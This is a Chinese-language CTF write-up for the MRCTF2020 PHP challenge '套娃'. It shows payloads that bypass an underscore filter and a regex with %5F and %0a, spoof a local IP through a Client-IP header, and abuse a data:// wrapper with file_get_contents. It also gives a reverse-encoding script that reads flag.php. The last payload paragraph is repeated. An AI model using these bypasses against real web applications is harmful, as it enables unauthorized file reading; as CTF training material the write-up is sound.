当前位置:网站首页>[MRCTF2020]套娃
[MRCTF2020]套娃
2022-07-06 09:15:00 【Her&mes】
WP
千层饼PHP题,非常适合新手学习,考察绕过,编码方式
第一层
在源码中,发现hint
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
$_SERVER['QUERY_STRING']
的值为URL中?
之后的字符串(键值对构成的字符串)
通过两个if语句,才能进入下一关
第一个if
通过条件为字符串变量$query不含有_
,%5f
可以用空格
,.
,%5F
代替下划线!
学习链接:利用PHP的字符串解析特性Bypass
第二个if
要求b_u_p_t的值严格不等于有23333,正则匹配要匹配到23333
构造payload:
?b%5Fu%5Fp%5Ft=23333%0a
注意看,/^23333$/
这里的正则匹配是开头和结尾进行匹配,%0a这里作为了换行符,
传参回显:how smart you are ~ FLAG is in secrettw.php
访问secrettw.php,进入第二层
第二层
一样在源码发现提示
<!--
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-->
解码
很熟悉的编码方式,JsFuck加密,解密结果为:
alert("post me Merak")
行,post传参Merak试试
传参
回显源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
第三层
从源码中看要过两个if,解密change()函数
ip判定
CLIENT-IP:
X-FORWARDED-FOR:
X-REAL-IP:
经过测试,只有CLIENT-IP:
通过测试,在请求头中添加CLIENT-IP: 127.0.0.1
data伪协议
file_get_contents($_GET['2333']) === 'todat is a happy day'
是ctf比较常见的形式,考察PHP伪协议
构造2333参数
2333=data:text/plain,todat is a happy day
change解密
我们传入的file参数会经过change()处理,导致直接传入文件名不能读取到想要的文件,分析自建函数change()
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
传入参数先经过Base64解密,再经过逐位加值(chr ( ord ($v[$i]) + $i*2 )
)变化
采用倒推法,假定最终返回的是flag.php
每一位经过ASCII值减运算,再转换成ASCII字符,拼装成新的字符串
新字符串jing过Base64加密,就是要输入的字符串
制作脚本:
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$a=unchange('flag.php');
echo base64_encode($a);
?>
结果为:ZmpdYSZmXGI=
最终构造payload
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
记得还要在http请求头中添加:CLIENT-IP: 127.0.0.1
结果为:ZmpdYSZmXGI=
最终构造payload
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
记得还要在http请求头中添加:CLIENT-IP: 127.0.0.1
回显flag值
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